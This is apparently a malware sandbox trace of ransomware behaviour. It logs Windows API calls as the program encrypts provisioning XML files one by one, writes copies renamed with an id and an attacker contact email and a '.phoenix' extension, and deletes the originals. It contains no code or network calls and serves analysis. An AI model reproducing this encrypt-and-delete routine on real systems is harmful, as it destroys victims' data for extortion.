	[0254.959] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.960] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0254.960] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.960] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0254.962] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.962] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.963] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0254.963] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.963] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0254.963] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.963] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0254.963] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.963] CloseHandle (hObject=0x308) returned 1
	[0254.963] CloseHandle (hObject=0x2e0) returned 1
	[0254.963] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.964] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.965] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0254.965] CloseHandle (hObject=0x2e0) returned 1
	[0254.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.965] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.965] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.965] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.965] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.966] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0254.966] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.966] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0254.967] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.967] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0254.968] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.968] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0254.968] CryptDestroyKey (hKey=0x151480) returned 1
	[0254.968] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0254.968] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.968] CloseHandle (hObject=0x2e0) returned 1
	[0254.969] CloseHandle (hObject=0x308) returned 1
	[0254.969] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.970] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.970] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.970] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0254.970] CloseHandle (hObject=0x308) returned 1
	[0254.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.970] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.970] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.970] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.971] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.971] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151340) returned 1
	[0254.971] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.971] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0254.972] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.973] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.973] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0254.973] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.973] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0254.973] CryptDestroyKey (hKey=0x151780) returned 1
	[0254.973] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0254.974] CryptDestroyKey (hKey=0x151340) returned 1
	[0254.974] CloseHandle (hObject=0x308) returned 1
	[0254.974] CloseHandle (hObject=0x2e0) returned 1
	[0254.974] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.975] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.975] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0254.975] CloseHandle (hObject=0x2e0) returned 1
	[0254.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.976] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.976] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0254.976] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.976] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0254.982] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.982] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.983] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0254.983] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.983] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0254.983] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0254.983] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0254.983] CryptDestroyKey (hKey=0x151480) returned 1
	[0254.983] CloseHandle (hObject=0x2e0) returned 1
	[0254.983] CloseHandle (hObject=0x308) returned 1
	[0254.984] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.985] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.986] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=832) returned 1
	[0254.986] CloseHandle (hObject=0x308) returned 1
	[0254.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.986] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.986] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0254.987] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0254.987] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.987] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x340, lpOverlapped=0x0) returned 1
	[0255.160] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0255.161] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0255.162] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0255.162] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0255.162] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0255.162] CryptDestroyKey (hKey=0x151200) returned 1
